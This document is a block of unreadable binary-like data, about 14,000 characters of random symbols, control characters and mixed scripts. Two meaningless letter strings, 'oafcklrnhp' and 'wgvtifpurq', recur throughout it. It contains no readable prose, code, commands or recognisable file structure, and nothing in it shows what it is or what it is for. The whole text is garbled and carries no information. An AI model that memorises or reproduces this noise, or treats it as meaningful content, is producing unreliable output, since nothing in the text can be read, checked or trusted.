ەC!~6j=EGo4X.	kTv:1	=[1Ql?7krࠡ;`JkhH),~jMmX㜻3bG:!5gL]̿Ŧ/rQ*kKO.iDs0g'p3#ޢ_DU7/5Ų+-RUɗ	H)_31޳Tsc@z#Soafcklrnhp^(U}oafcklrnhpb"Հ3`Vx/$doafcklrnhp]k +[r#[OѤ-zZ_r&LJ Koafcklrnhp!ָnֱ)#@1orXm2Fb,Ya)V&Z~@ݑOcoafcklrnhpzB/}䜳k2ӸLxgN0Ho(}4z7@E]bKHX?|پzkc~qP("NdEP&cKFoafcklrnhp@ۏpޖWeۣ䐂9!,Ӣ2H0j ;$/*_/We4oсdR`i`f*~!vߍ|m';(__ۇmv~+'fђgOQy~)b15-ZJ$s:يNwgvtifpurqގC:\{c(6?EAб7=0%?ev$pa67gjr&[wI	5'=Ix7:oafcklrnhpc2\m^(~-7Xy󠲢wgvtifpurqYLf'Z䨰Rh|]az M73u9ְr8VЄLe:z|X~Npd QH*ȫG?!)m,r&l8=S!PAԧWwgvtifpurq@& g7cpڜc|T)mefI"Ώ(rg
*VLln0ɔUooafcklrnhpn:hyFS0Uen
[@UxUu%b5BAvh:
UNA93;}W+caZ%\&^@lL~Eicߧg9Vgm%ڶW7BiHȡܦNEDqSʑ&rx,M׬@@y"Ve	}8ǫ("@]v?}߸䟁HہFoafcklrnhpG\^n4O+Z	f#vĶMDBֲ%yEh)e(9'SSlj~0{rpg	eD%as Ugo򀙧wwgvtifpurqjˁ,
!&MC  XFMr	 6c#=nbiūHiYS[{v]r*J_v|uNJq]iýsk i)!h\*oafcklrnhpޚRlifaͦ!=MXx_-#er%R6JiJ(`m %`X5'?\{6U_'@z0BF \`Jx[n/fsʮ4CJwgvtifpurq}gDmwu!6 $[]Y!~!fdoafcklrnhph	1	@nVo;D;/`@/nLP}ƟHBBIFu^K(A\/`
nǐs"+äZغ[ReH-yȤ }zH(^7|wgvtifpurqZ,.dYOݭm:kзőPQ&.m/D4?"3Ƕ7L$lѷWc%i,wgvtifpurqtK"diѢcM7
]ePUzwgvtifpurq|!P&:Ѿ090}
~.˫+pH0Aq(03n D{Y2g,W@4g(I_ʊOYrWMDZ,pQw͏M7 Z'j^ؖwsg@PA!E3Hr!Q:R\XnЄ|Gc`w#H4oK$jBf2]
TUhcUQ!^t)jSz Șk(Eq
.(LJ*	XNwgvtifpurq۬t8k̭tcV=PM^V;SMkoafcklrnhpRW[oafcklrnhp,݉pa{NQԱ4-ȶ`ɳ{%Y%B1&UyfD9$0(AOW"ڽ:6_ϛ4qA`"!y+GM|X7,WF巣էjdGeщT|߼V-+Euφ@,80Lq]\5TJ֨ 
V5AM
nzDDb
҅ p?5? k0_'[b0t|+LzڻkYx'VA7nB+o:Ml/ fiVQeN!r`*GBa+Y	GY`%Ul}O"ًLCGoafcklrnhp^FkzMea黳zf%3%:KDt	$Ǽ%m8tR}Oƛ!}%&Ïc+HEgKgF/V9c~m
sZ\mÿap:]Nh`^%R! TG)9D2oafcklrnhp#q#irvKO h$4(c.(o3&8w	KOtňá=8~ܟsL^1jl}wgvtifpurq0e5QXh28lJ͌[ahک
]~mWiIvZVWz
5?bѡЀa+?o(|U=@
TSJmOUrJ=@[GV;jS
avPQZp*o؄ &ԫٔi/2L=R?"T6ҋi~xXKxVA!oafcklrnhpt
t0F{|kÞl[Vѽ4"ѓKV)et\ wfd@#V9HJBǴL:bߪ@Voafcklrnhpu#t6;@sߘ݊%'Ys	˯=3XMoSXs'ޡ(/y_2w'Fǎ(JT8p4A#7A]@*,Z		/wVMѥn"!yǣOj3~$Uw~\"+nW;}F&#MQP8wWH273fs)d/}V?lJ
$(/^G2_.ˇ5)!Gŵxzǰx]pB	Vv0V&"͵9N $Kb˨:jhQ( Ƿg"L;)եEJeoafcklrnhpUxMwJ=[ӿoafcklrnhp.TdZYQYƂ؏q
&grK5eD$vWriwgvtifpurq#W`]3_r2z󺡀5hJE 	'hDtP]Lk!*e9abwB}{@˹X5dvW&"["G;z )޳s5{}Jbk?
!6lhz=6̂oҵP1zFVkoNvP|[vo༁r_#ѹ
=Lw#\yH#.#erIo|9±a
S_^fe vzDA??F\'pҬHBΖ?Uq#餂tUߟ4-qDE\LwgvtifpurqO*&'2AQO;P9:XEەţ2?vDaZk,U`MiI@='Cw
guo&ބ/o	W؏ewƏ)׋͡PnNV	x}7
~0KjdW b4')%׌kC]2.mog1ڄ,RMsz&U9ewgvtifpurqs	'dftV[.E	5`\~V1CE$ V1/ r
AmprHQ",_`
0B32
irMGevDw,ja¢3m]CYݧ~V aЅfih`97_dO_znoafcklrnhp+۰eNv!sLgtݭYb ,hwceÑ[A=
B0nZ
ȄO"gK~vxO۟/	~O2 07.*(2p/j֢Q~w^čҎVVB#g`1)hG"wgvtifpurqTۍWwBQwgvtifpurq[8NXRg]r}%BJhS~;E[x5/dD30ӫ:eSսFȽ@\"ۣDIyݴט~6Xv_T.pџ@tQC5Zy.T)L. cKUKCA8أʈUȫ{?в7,d~+5
bϛA^ef
T`+h[6Zeb"uБ`78+;c#5gjm"wW`'v5I0et4VqG{TR	Z[	0řrϙ#X
Deu됯^Ha\Fw0CD45Ք-^?cM-Ā,3rFM׫r=l{FBhNpGR:;|Rh9gZXXy zѕAoafcklrnhp&U'1R+ uhv궣Ky񂛈^QpppV&svfBoafcklrnhpfǖ	Uh:Q6C 5e,P0,h{Kc
9/*ucyoZ+t.F$^	74#D鎿K'fk.h1}F"oTe;Oؼě6m-A
asjaSUY{U
E&e)+;'Kɏ\/#4K`+kD}{*	ސ8n)wWdZ]1PgN_'}:;QeܷHW9gu`NIw5 j24Rx)/Ce̓02G'Nͼ9ru3~,pw#vJoafcklrnhpv}- s/JSmڢP-)s7.Efq|7߱ؾĒa	t))N$oafcklrnhp3qGHӞN|^fwgvtifpurqI;,׸|náXuTWG\;B&:[*hBHr5eJ| a9Onڎd4h0&ؿpN[4A';2n
&7:Aċz-^lUOSyHmo79%cbz2#rW岡*C,햙3 ؓeiOKOaKYi˭
fub*h\E@:dݵ39t7oafcklrnhpS'ZIk':nz/ T,%/Q%tT/	 Jj4[L/'/VZ'S?;7$gh_-jk]3o;e3J_wgvtifpurqP*	(Xj|_SR͸N]UÈJXa	:%u=!		N:X#;'Zܞ`9q*3lq`B'RZ`$1``n0o	3GJ	UZPﵿ:Z{ŀZ}|)VL|݃n!DW[_CWKqzTk_{Q5-ZK}kF1/r
I_&.pP8{[boafcklrnhp]$ Y	6k)Pr'x*~d$I3@a7LLCMfoafcklrnhp&"X,[oafcklrnhpwgvtifpurq@
J
ND4q	j,KxuvT+GJR@W׊[3Ρ&/2qg{UMu3K [9P"C0?"#`S}{^HCi898Ϲ
}(FfL6E3	GXPt)YmF6J&jz٪:HeS"*'ꪄG[G@Q5 `S0
gO0\Pt3JxyߞҢUSvDx-~YcTȮZvL&wgvtifpurqװC\৐  \b`'8~ǂ ?5|"pl`{_i屒BkgS]oafcklrnhp&&uݤ)o%دJ%C-?0T_%xTW-dLzcjQO f?'iv8^Q	.nuvYTwXBB_N5'^.66*'#}F_\0PKl^L8]to? =fZoӆ N_q2|,_/)䳉
D*Ԫ.L34wwgvtifpurqbz	FoafcklrnhpZc}D O[IfɵAuD
B7USy1߻i
k{NH_v`s09^HAsp'z$p@^
ݼqAZvA%~1jZ8wRO4ںmN@d뮖c%m=YuFDZ;uGX&-!
[5pGDd$609OO
ex&M}aqҩH3gfلt.+P58/
F#(moafcklrnhpX)WA0#Ts3 csޤ={j2CS5ePWEmOMIXoafcklrnhp&gc*s.G9˩7My`89q,*֛@q@S!d+3ł`ȀauQkE9
?w&XqҰy G^cX"/e~Nu&@4nH֝^&tNn\(nЍ_}S,H/1g/jpcYPSASAv,dZ*Cf%sQ$: :H}󌻄ҪY*m0#̚9gIVm_~V5%
	Ld4wgvtifpurq~db7τw6(kmY['jAYzo[R{9ąoafcklrnhp& ej/'v{Z\:rVG(ɉzϻ5aa5mG;]|NJoafcklrnhp^Wo
@f-1ve?QK32@k?dTAɂ{~HjF G*,	=V+49Yn(J MQ.3ay\LpφϏH
$|+GyַՒ9RZ|
ag	6F2WKEǝUL&g}ipH:-V7^_wgvtifpurq/}wgvtifpurq(RO4U!4#lvY݊ŭ%mdm rX}+܁!z)	RT0]c8yܚu#˥~+Ȇ?IID{U0Սt'FSu	e;yBvE"oafcklrnhpFHfx=bI!	-6Ded9"\O~`g/oafcklrnhp@?s͇nwgvtifpurq,wgvtifpurq
tl.@uAf;k
kkV,{PW1X̗lKQd!uw샃w;5Ȇs4'̖)VD(NM2oG"PcS&5SJdj^=9ӄ*7Q}^-}i,KFL]2ch&ޥwgvtifpurq	{~?Mt53טxnsUb`g˯SfnAc0_BThM9]T;c3?js3:8IvY#rE;:_T$#ȯ5woP+f7´*ĒMd3un"1fh/[@G	ľѳ.ItrwƎPTQXyKO-^)!b"Òk)*PoafcklrnhpunP:O1xJNPLlkզ܈ǅc(į9"4|D~f4\h9 NSQ#wgvtifpurqڗɧ}EF*3yfBzX:FoafcklrnhpBcqqJoDޏm-Xp0-Nܪ%m-wB!0{\ N,]Ii)ZsMؼ6T0Po Б\HZ4Dl
~_z-}/rFQp5DoEL	,$^Qfc#d'"]6lU 0)Fo-}ϗ\^Or#wgvtifpurq3$XbsvB3v{	ow8
A+6p*gieεᵔ{oafcklrnhpJ"ښ1`b&6\:뺈62rv\Y?HӆV"J
be
i+4oafcklrnhp2
8hQva C3&2cD)7( '{:4uR
oafcklrnhpd CkmS^CY(wgvtifpurqyPnjDta[={p	rB2 ~LLwgvtifpurqD	00%!=!xWC=3֖ʁK ЯQ!yf1HPz~2SiDh2@!hi1ެ~ʰUSIV垵0EZ+n=hperr.G}x؊wgvtifpurq㋒@ۍ D:4S^j+|w!QD{ʐAҼ~$f:OHAIʕt\"@eQH֗J:`m4T-ɘ2a$9 [`V;+#amo
)[~Ewgvtifpurq9u:i4cxB:dA1li^~LMWe
Tk_AAq"U,9syw̮FpgEML5wgvtifpurqɕH^PG=?#Y &l+ҋ'-yPw[L_©^FoafcklrnhpҲ.CO1 aR.EB_UxUϱg[6^w!S֟x/L8 o
Swgvtifpurq {1~yIKrQ'wgvtifpurq Hwgvtifpurq+{\*[Rw|٘H wlnY2sq6:`TKoafcklrnhpOsv8
\Ӝ c6k!WyIg1c_
SyP^Qudf0'[wE$v(fɶ=wPf(;c*`3*=t
)괂cm ]4m
Y[A)
d 0Z:M$b&̀U nq
w 2iwzoafcklrnhpi}mp[)Oۍ7MP^@e{Դl 1:+@TWXj[J[sDFwgvtifpurqκUGV:)ُiޝ_Ej -nŚ%~ڮ5/B "EܡB|-Q
b9ꅜ' C(8U1Awgvtifpurqwgvtifpurq!
=;X$'x`" -\oK]ʺk|ؓfhr'
.U,S|酲jH !٩$N֊8] 5fFNs26S
6)8Dֵ,Sk
'oafcklrnhpOm͔REwgvtifpurq*N;O'fcg	:ƫWlz{aߊDȉ*@"̋2|_d&Ş.ɝIrǌutA&4M=6Z	͢* p}OM!܎8wv%vi.6՞xwgvtifpurqo%dxsȂo}(j6Od6@Q.ՎkrUk(v
yf%L]XBsI 42蚝fM@ZM˱'Emqbv]qV%b~fjtCZّOd+"8!DFZ!T+K[.5Yc6ɀTE_)JFcBvje(WJGF=` p%nM} [-Ue1?D:n:B$w5~ŏlµD=hi؉LQx4l-i&BlEqդ(oٔM#,,̶2"lXr$rqȇĺie"SCf$)/!XLJNƐL#fxּ~M
%z
0r2[+ kL,Ί,-Pŋ)ʿjcn)no@'7\2opO u^ 9_!@ei.#	wgvtifpurqZAVoafcklrnhp/Ve+ֵXvЫQՠj;pphsEͥ_DA;қɚ?@oafcklrnhpDHB?*"˥oafcklrnhpiKkb %#Ϻ82+%{O`¤V?Eʏc	i"Pomna{Vģ)6E@m{OΨwn	)W;ꏥalBZvkq={|hEOJ˪kVɻv"R7$N7oafcklrnhplsMwgvtifpurqN-_c^X3
nWO7ۏ,'ٌ=y	m`nZ,&A4T$r1U"t+Y!aM,* r3ή(n\@Ҩ]~OMYٲ\vutt?7;ߪ&ݥ)֚RC9s"q*ooS݋GJoafcklrnhp6_׀839)CK8NT5*_Zެw/ʓcfG,6)f.|Jш%IڭRzA,@BPYꆬR`zg^\(/騀`zG`B3wgvtifpurq1pIqF?IqI7e&L
%Ejf68ͳɜh(R97p_*) 0/"*Ȕ|q'$
toafcklrnhpH41v7'-qIwgvtifpurqoafcklrnhpߴ_?֍to@9Y\ǿyY(e3zФnZO,l$/sWD ?BR
":JZؽd?߁xoafcklrnhpk}[f ?CɣtwJHeZNZY/\!sqlgǒ7:oGt^WQ͕RwLY _csqԲk)8
Xp=Q.B$͸._^׹dg"C#hIvAؙHXG:*Ϟwgvtifpurq}Qc?Ϧi&|GA+ c$k i `~ϧ7}*Qm!m\/gVzqԏGP'43O^G	7!˲lp-ﺨŕ[ =
5~ǵhC)5`PN
xƽn`i^Z2Ƙg3fa=!AqK$"FDSD}Hӭ{3	S&L9Y'N\i^ԾV.I1
eT߭IuKŰ0qI!Ԛ}ա%呀@O\ix?$Ɂqsb 87x|"r#̪8oafcklrnhpDAKtg@]mM
eFI7?J.un۬a)KD5Cy))+}\9WC. gǦgN꘺ߠe:f|N_H I-ޥ\nvGb5ƷV=]َ_ZFnh\k48Ao'_AF?U_
e{Q7r.M Ǌ}pmq0|:	4Dj~m'؉ȈҏMW[9dșYԜ2pB915ƒ!ҵ~
C5
H7%oD+Pw86rܘ{G0C3'oafcklrnhp,6I7$**P'%i~2r&_άN\d:LwtM{k:JYћ_ߗNkjit LP#*Q9_T?ԴAnɡv;oafcklrnhpL|HOy*Fխc+c;P&)Cr瞳7СGOJ%˾ac|ȢhWU)&ħwgvtifpurqtSFU~oafcklrnhpKe1v
y|%y[VpD:Z]xeK#KG^{5YW{fV
7C\fG%%O-OD_5 ^N)mѨi\ԿMq+`"rEշoYN}FoafcklrnhpbFZ Loafcklrnhp%0oafcklrnhpY˙sߗ)ti1lHmqooafcklrnhpRqm4؇
*.
|aS-^Z3"kXpF.R#6;!y(M+w9[6rS倐;zIΨHmtJ/nɵ'};1Odb?U`swyV*TDmaNB&k kCsm$)c& N2jg)D$.S/`.$wgvtifpurqAF)
K3f'Mj~&\&A_i}Cd'JD+z5kJSM?u;,#cR`rJq4¡girN(]~^ROJܿCc~sDS[ajgPΗږ(iooafcklrnhpdXOAm٩4/ wG!ƶoafcklrnhp2ufY1T)_pN|~;8@)h`*ganFIX~OOo5d#2(q?~O ]TrO.`0b}b== iՍd(@z+GfbOًW
cX_//O˫S%|c
Ik9Nb\bHukןlɼRlA[|WWW8ZvddøkPm3zggjdy	@xҡlE]}QO|[M3h/1Ep;[Wn,oafcklrnhpщo-۸@gt]Vn	oafcklrnhp$ʁ+12-rفeDBix_⻃3430l3ꁏYys}Wǘ?T4 
Ťq=LXtrt)aZ
-J+_bj&D6 bSk˸$~aV2E0xPw)#p?1.h8[_~	mҬl/^)1Hhzq]ghAيh}{A8BaXމ?NsElkyfD#AÔDzӴ@
/? d5'sQj
?.	uWNL`bYXLA/sXM|+i0n耝tO_=!_1?!ճy4/_]IU4Tu~/ש}%cٿh_~DQJb0R_)(H4^gBKRXi/ofY[{,厂F#	Ϥ	=By;eN5WoEz,?vawgvtifpurqT0aъF_)|d|
#+oafcklrnhpD_UZ5@X\WMzpXq+}}'FwgvtifpurqXX,w *(qj	v5
ʒHyDJN '
ZcєtF``ьI[&sE*hd1̖a	
KbE6AnC:-vַZHpZ-s061]|(Q:NFW㸌xx	T}S5PT9a`ڔwgvtifpurq*+ݬpk'pz3Ȍڡ9 I"We]U'd$
~ֈ0D= {P)Sh˖s.MvIީ/E'ñb;e*.5{kޖXsIXJcD Bۓ	Ϋe3in/VKNeY^	NZIƷ7|
^
Yoafcklrnhpr RpwgvtifpurqωXcEoZ@U	^P?j^mI-ԩYWYY2Yr|?PZg:@Q63HzEׯzfq;E#槷]g q1&_$d$NS	%CwgvtifpurqDx`G
Rv3|3WX,'d|Ѣ}O/KSD␣A9Z}4`5
;s}0%v~n%uK`)P!M&}HlG DBoT7»A2Q)uz75Z$^,'RPUb
zwӱ$y{w?CwgvtifpurqbUqUH2$l:i_JH(]wgvtifpurq3nkجsGmei	֪sn'2%6؈5Q5=fob(Ū1Öy0bk#G憬3K^rJǰPeˀ)SoIV90eu
n:Ed'f9}:vCe&N'Ioafcklrnhp*CeSda&)l⮴Q辑"TA+5+30MU5S,#2fcP~&E/A+t\ATPMyf]cZoafcklrnhpZwgvtifpurq:wzL$O$8.)M6DdI$Kwbİ7Իgv	]PLbcUYq!JhiCKI,gV䴶7$hM	hWc,
۩D*gbU^:z2[EPJfZtTk
4|7Л_{Ϯy2G13i|V( OF;
1e
\[t2WR:_2Y*xwʧ1(qՎgFp0-Z(&(7p_xiR1gld*W#?.jn~R:-uwgvtifpurqm,lg5#l+Lkfr7;N~VGz?'.E
#E:.&.D)u=ff39߫] `5cP0a#wf-(c;wgvtifpurqwgvtifpurqC)
.Ecv=OM8??'@ʟ`B PmJSZh[wa2~/x+cP2)"+{,عâfxgW(=qA!\F &%C=,:(Sotj+D)F$ao{cQXs8l8o?YEbSaa;NAbQ2?K5MLJ$bl11~6esc唵Z4د#r^	W]h"Z۴mqN6ޡFmg)?`94!qۣ2wgvtifpurq.lN$P`5A}_@S!q1}G:JըY۬oafcklrnhp1/оqb 55SߢX	W*]_o
Ef&n֣noafcklrnhp׊?(kLqS%ǘq"q
X䘘.'X+{Ǹ:vZG-bKN&2*6x1)Du4-n|9KO%p;

1DH`oafcklrnhp~dGYf^"¹N2Z\EJqoafcklrnhps#_møƏCwgvtifpurq팆D˝~T9ÉI/Y}UQzsF=aXm9MKZ=wgvtifpurq?wgvtifpurqUޘֽ䎕
IeVЧwgvtifpurq$˟`Wz7~ҏfF$`R"[+(	oafcklrnhpe.EG2qcy#o6ЯG@ƚ-i.
-Tqǉ4yYH߽s?N
gȘ@9wD~B]Z[vPY==@zu[I܍=Gumaxxv]xlG|'u!T@*hY6C*
VF1V~CLT@jqH4~]WoWSG1v	R@Vur)y/&j\]5;Sv"oafcklrnhpFdXI6w.F
Ä4
mYg2/j1961p+y}[MH:a.E/Y\|/{F7剎"!g\IF,I+jڌ
-A}Q.ǶŻ]?rgє۫)5=oafcklrnhp ꢟWr2-G.0ʥ2h*KH^hYl?Vw`(+vв-UHd[璢9D"U.
czٳW-8g8ڿiuqu , qŧY?)]	ߍxč2oafcklrnhpwk~ b+$LEAXY(Qik)mak{b"
rݤUC5ӄ(Ojiy;6,JIɶ*E:IiM~pLEE75yܯwƈ68_Z6T[O-F]EjC9Gua꒱ ov]R"\e0Q9fqUcmDA/vx{lL1{D3&|5vm$Nj~:
oafcklrnhpHHHZ{+סP
h`#S̜zLa8(P&Q`{^@A;SG9= V`)x4l~6":Ǡ)~v6	qJBۆEpXrorJ?MfIwgvtifpurqpF
{s.Kjua N(d41s09=7;HWג4zF=GLOE0?V/8k㤄TJ?.xd`-1@?X5o'vLX)	=ZLwgvtifpurq`_dNaBFen똯`i|*ctH)",x=ޛXd']Ōg$4NgIP\g
^i$]y&E#@Vk(wYz5q[,.=rDIy; spM1|֖)g*BRE2ڔlkO$':m~N	Oڻ!cDUbQx$K޲MχYQnTHsJNfPkәPd,p7~v6̀s6?_qVdBjTY4Y8O w確i3z\]	8O[3Tz4|aV0Q#Fy5hyvLǹ2MTי:օ\ǦHBn"Ij,@@7Ы$w5`wgvtifpurq*"5;MZw(NUf
筋H(9]AbcmA8pCpi|Cb]^9_ݕtwgvtifpurqCRV:9ʂŵE)'Rt	MUe@ߓs[%kARu|wgvtifpurqKu
wbgLocoU(,,)nEł)TⰂv&XnW +lU$:?-TG0
tR^7vyݔ?:tY=ƃ:;|Z	_==h[3w]wgvtifpurqvbT9xYd*Ly!BbIurJq?V+'o 뢙~e$ZwC˺=0
ZzT~#Zn\3 8`ʪ,k "7O% ga4t_n P
^|hJwgvtifpurqZ{!}hmkJy`W&E'5q[jkh=N0NL]%LIdGC)&(wmK[K~&JN(%r_AᵙdN]bQI~)sszppl8\5'VZwgvtifpurq'gGNIpByPL2L)~nCE};7FX{Ԍ,VeCyrPM*]	Zd#$D'4IpA
ut:7T]qMBPZc/E-BI~Cb&Ļ#
 ZpL?7[zށwgvtifpurq֏ZY^QHE'҅C9	;Q/揶T;uz˭~bРwV/s@"%#ZME6@XF|[|2ת#uB.̍84ZS`ShDSjr8Kp!SpD^pru9דmcYݎeȇ.odsKUhokI-wgvtifpurq36L!mJڔ֖449h{k8AOwy\Е=;^ڬs$(#]V@H&6LwgvtifpurqEǡTpoafcklrnhp_Y0[b۝xe!	xQmf9K;'a/14
sb	G՘2\Ezɫҋ=I(ІÝGy=Qyq}[zC%ݮZ9 dU6nNnD$y5h]phQlGy+K.IӕiA hl
K_Z$K[͛oafcklrnhp/lwgvtifpurqG}xwgvtifpurq@!M5l*PP#COn,t|:#oafcklrnhpOwgvtifpurq|`*++LwgvtifpurqðN!'g &6?KS!ng+R)JX`zs5'fAWǆ(8@4TэY1(8"R{w.{*=WV%؟xh\Хmp2`esdg"IղX7G!'plTmSz^a)IG0QёKĊPLӱF5`H7sc08XL]3Iz?oafcklrnhp_a4TǟrnksNR-Aq)ռ#}ߠԓb\xoafcklrnhp#l7"^7h=:jYڛ;;K&9	+5Ģr6#F[{ncw*L7Y	xa*+۴u}^;0iD*Zez8+7Uq\Vm=}1 
ܲGCR«wgvtifpurqq@+y%A帱^ЅVsl5p*(8}d8iт~.5WI%.n*"ȓ7y*-_N GPy w 65[Mhbia) JэXU^ \Dooafcklrnhp-]U2	PI^KQj=ßҞѢN'@+uJ[XxZ7dfmF}-@g?Ql[ʼF|z/FG1K+oafcklrnhpKȱ;TRwO˃hzLٙo-_+Gs)\|Lǉ36Mi"}9L1l}!"6cVoJ+?  foM:g~-GN\#s5X|m
?OU)haW|VǨ~NwgvtifpurqGj:7UchI=i
7^vqLIP/)Њ-itҮP:k{DP1tU2BﲯƄރ~3H3`4FI=͐AT[.iމ]%e*fIDA_&X䠾-'׍oC˓OoafcklrnhpsuE/ԋ;$n@)wgvtifpurq[X5(S%]wgvtifpurq7!?w uY\Slli#J#@nHWji}i/,oafcklrnhp9V{x3ݽ!Iʆm!T~srF)Mpֈ&%$E$0ɫ3odݶA6[.fc2K
?[/kDO!S1"U~#?iJQɌ*ZKxi~9ZiˡAЭ9=}SzQ&a
xpl-;?0V(S(ZBoA2ބ\갵&wgvtifpurqKo~oIGj-\X~͟Mߒ7B =\zR^ "mo\0I֣s;A7"wʇoafcklrnhpXI*z-bw$ZjOpIv8;ڎ]ȮoafcklrnhpAK3(@aZ߻ ~x2 T4EHb$XZbiyc~W(8JSuGqȄϷNpaż%I`9]zBty`9e:6v%2O
dd)M	izX7!HRl&_lN**£O۱c1=I|86̬~v|kT渐Yqlpߢ@iC/z!Cr
`ءpcߢT!AEE  
8,
2՛.XF@)c*?	"ZhOװG^y7Jt5Cm nf.aZRCHp/|bF=?rfD3ŕAvēwgvtifpurq˫l-k^ck`0ER`Z:T7ۨuBoafcklrnhpJǘW{̴Ouo0@	ʪcc{r?gx^MFWoafcklrnhpUbXN3%ed.OͧڐMvn°={Ҋ_uoafcklrnhp˓}nZ,Q
gGA
{rB|StJ$V o&
7+oafcklrnhpq5a"FXUex%#~c\;i+uL:towgvtifpurq-#BmrjDC i
T`%`	_}wgvtifpurqkqwB6~,oafcklrnhpϥ&c  VkZ5ʦ6"NfM12YoH/+?QsLX
7\2kErwgvtifpurqJ]dMRU@V}*+*!=11mn'%lLjѸOzƙݗ
_ )/7$`R	|IߛE9V Lx]3!
C)ɍaXt)Nv.鲏!{Xۦy64;n^6&TLGN|̳/f[f3Xg
VCfǮv_וNQ1H=& ߇`$!+WI"CٯڨSv^`xY=ӏO
F/Q;DCcCUhMi5u-MyGn ^:[F(K,"T7wqȵ|oC:-,Hܮaq+ƚhf=rVV]?csfϨ&7K3@
TgK^}roafcklrnhp`NxVϑ i6P`^Clej1izŜmwgvtifpurq:uas	CL=mϑdAV[Ag -~׾i*N`Z^O J#$̱\~4+cuRfsW2lEㆯ?-2-W-?3I.ZFBe~Z4}#!iZ{JOVt	IJ~Mb
6|fǌy!=wgvtifpurqr939ރˡM4
n8Ъ!)Z1P,2	(ɽ_oafcklrnhp=9.nыL;"8P1^wgvtifpurq`T~I1 wgvtifpurqhQ3ɝfwgvtifpurqtՀU6Pʓ{{F֟[Km$wgvtifpurqK'C,0'7q1Kl(jM$ĸFsdGDf}d7rV?hlD;nu($[{4[0-['ŐAiC8ZͣHEةk4k}"
[U9{OC6|D؜-D\ CK1jaoafcklrnhpMR,&}0糵!Ij1{HWJGh5y&'.ꮦ1fyKC/̯duh4j69TӉʁ$+5Բ2u!oL*wAm@+saU7wgvtifpurqLzA1c8
`BG{spYGD_|ތ9
oafcklrnhpHwθ1=`LEPtf8@\A6/$;OaAL^b@۬ڱkWT)EhPƙp'#duCS:](TB\_J3؞6D5BhdïMjt+4ovYrз,Nȍ&fXwgvtifpurq?KOj.$!%Kdo.*yWRwzԘ*'0nWU{^'('	&HgD)
c)Cwgvtifpurq1վ2¹%-yU)*)@Hb3&tq?}~F#JdWi=9#^q6`
5|,s"z3~ضz	|මS1oA/K[71oafcklrnhp`,|F?6phC,"Yh`EmVTDDhw	q[HrК]N%$,톫7jR@_v5NwyVcFL^VR)zBL&ey;ZCit=yuoafcklrnhp5y/t:{?3G_$jG"k;}r\oafcklrnhp*wLrGdâvd!|(ѾqtzwVAiڗqǥ֑VGDh{#ƙۍbun.MY=e`gA,8 J`m_FTCPe]w8g(`Wxj%cnĹK{a1q0ZՇfNo/We'mX	.ܐA2rAP)7ɲKFSTR2{~H0+֧G~UV+inzM%:[bu.ׂoafcklrnhpq XReOnծ׺pDVbg X |o馿˶rz{3?7#UMf8kqXm[2C PzA/EN:zej?m
x=K4CNn94(j%;FXdnRK0B$dіxj)JL	4Gi_#KW!c_`+612gD
,tq{oafcklrnhpj-)0*/e^@x*Ǹs%MQ*r8&|
ڭ$*T/7戣//t+b
:*YZuʼ	C5$oafcklrnhpPL[5Aj-hgXM%J[ozhYls;?%Pm2|,=H1AXFwgvtifpurqjr~9
;~-HLn|`
)d0mWp$L	_JIcw9NS}o5ƄQ\f
-3f즜?{(%_o	"C144Q+f25 -#3S1/[70eWoafcklrnhpi컷wgvtifpurq9Z۶Z^hy3E=wgvtifpurqe$T}7!%䷀W~k%Gzz8	2Nnuُ2iGO %.CZGl}}1aU+E ɳ~R';(5oafcklrnhpWvNm;FH t[fmY|={+|(f
"&j]Mwgvtifpurq"?D1,7?*v
x,Џܘ^_/Ik 8`쥞^ș]%Ϲt[/b  kj['T͟R5;iӒ,u;]S+PQZ_|\2؜/A{;oafcklrnhp	6cTZ(?y'l)Qsid?7.=Qoafcklrnhp%B{
[`c$1-dt-(wgvtifpurq(
^ç{(F	ēA]Z蕒zD)hj_Hoafcklrnhpq4xmPAB(l3mRX!|݀&˛J"ʋ~%^2ZA	Bl˾QVS7C}Ѣ.LpIpgkTbwZ~Cg6Gk
LMk(,35F6af'\(Wvcx϶rEN,߾~qwWckNpՑB
v-idV`a!&wok m&鹭 
2P8Oqhg녧?UIN$HpdITvG6㽯wgvtifpurqXcqGI=Cm]h*ڀXy~"
5ço(~׏N ܭx g۠ekvu[{0sqC+iשp%[gR*}'`, }/)3U$1PHIw@GI_ݓ[yPT
;K
*xwb~;e(QEGB]sB-*#I!@Rɞ@D8iXޒ[ĉb^}$ 
aOeYE7#*73BcckH!g}tC?p=2D'AWb//~Y7X
NdjmB4=XlO@ݪP|wh4AxɑW K4Aewgvtifpurql{s6ƈ
lI[8
`tc4iu2wƌhP4^&bpppM""6r2vD`P"Ͼ'rjC
a-S\f\ާamj42)d~Wa,q#ڃS?nL=i
tʌ t1;[w٥ISwgvtifpurq=?"EQ%efuZSe]Q2,{d 
w%y@
I~-&ɺkdNv54_7h)MKtFqR@ ʹ_wsm$91a\@*@4Ҡ	g{VΠdb]")ףt3/oLVξi1.Kak\i
mT;d #Yϡr_ARD)ǶVaMq9E"h}Yv֖Ō0 jNno={&Wؕ9yeǒ
?rި耷ugmtG~_nTOR xK/a)((bl.QqP[K9®#-^2jĠc~):	}6NH`wÒBÄRYZ+BwlM%]zUwgvtifpurq#V;MK1YEB3,."]ћY/'uUS~YN o0Dx60-?VumL&T&ȑ$sN	*Eh`y	LUU?iB1ܰicgKmLs=yr\LQҵ_PF
Cz歊z菞yǢ[]oGʣ`d=ߐ{7=⡋ٖl%;}8Pwgvtifpurq.0gq8:D|i8*owWj]Kݦ9wXj+ipPp~ݼ݉+SYMW@TRxĖ]jNPU}déoafcklrnhp$URnGG"f5f솼A@3"ڰu'jeHgsoafcklrnhp?
4zeG/ݭ!y঎pjiwgvtifpurq_ͺ9U,rKǶwL߲8/WcyԲ
E+זZoafcklrnhpRը0oafcklrnhpޓ2dJ00=3i]rri!7p,|#yG
pf]@cۿ  bB2wgvtifpurqod

ۖ}d8x2o$Zթw!nmm=8.@߇;}wgvtifpurqkp{%ѯU?wgvtifpurq7/o&J:Gs۸]"T4FL^z/1ECҢAP:{xB{wgvtifpurq̷
.sCTo
o+gl&P,v.'g!% :!lUU"sV4OMi?xiȐy'5/h|Toafcklrnhpwgvtifpurq&&H6xn0d=Y3X$kwgvtifpurq_uݥb81.Ž
sjDwgvtifpurq)`,V9g q+	0{Xj9$^QQ|#`̣}H:OW%N'{L5t*獿0X*jc1g6@huLf|0wgvtifpurqd9ĉ	;(oafcklrnhpzUX0\؜\(#?S|e$|I!U 2Ar瀴wcLUQJDD)i-^oafcklrnhp.St
WlsWGch+0?PF@zD
R*~Xjs7oFA,llx*IzcMj]K#ީ+" n
